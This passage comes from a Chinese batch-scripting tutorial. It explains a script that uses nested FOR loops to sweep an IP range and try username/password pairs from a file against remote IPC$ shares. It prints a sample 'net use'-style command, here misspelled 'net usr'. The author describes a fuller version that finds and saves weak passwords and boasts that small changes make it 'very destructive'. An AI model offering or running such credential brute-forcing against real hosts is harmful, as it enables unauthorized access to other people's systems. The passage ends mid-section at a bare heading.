上面的命令为1条命令。大家可以看出该命令使用了4个FOR来套用的。用法为：C:\\>TEST.BAT 218 当输入218回车后该命令会由第1个for取初始值0为%%a然后继续取第2个for的初始值0为%%b继续取第3个for的初始值1为%%c最后一个for是将userpass.txt中的第一段字符作为密码%%e第二段字符作为用户名%%f最后执行命令 (这里我把上面的值都带进去，设密码为123 用户名为 abc)

29 / 31

net usr \\\\218.0.0.1\\ipc$ 123 /u:abc

当然上面这个例子可能有些朋友会说太简单并且太死板不灵活。我把这个例子做了些修改（完整文件见光盘ipc.bat）由兴趣的朋友可以自己看看。修改后的程序可以灵活的查找你指定开始到结束或你指定开始到最大ip的范围。当然功能还可以在加强，至于能加强到什么地步能不能成为一个新的工具那就是你的事了。 这个的循环动作大了点主要是ip的数字替换麻烦所以没办法。这个批处理我就不写注释了，大家好好的参考上面的内容你会很快看懂这个批处理的。看懂了得不要说简单哦！最起码这是个没有使用任何第三方工具就能探测并保存弱口令的批处理了！！简单的改一改杀伤力还是很大的。以上这些批处理全部在win2000和xp下测试通过最大的优点就是只有一个批处理文件并且绝对不会误报。缺点就是太长！

第五部分：参考内容

1 判断两个值

30 / 31

31 / 31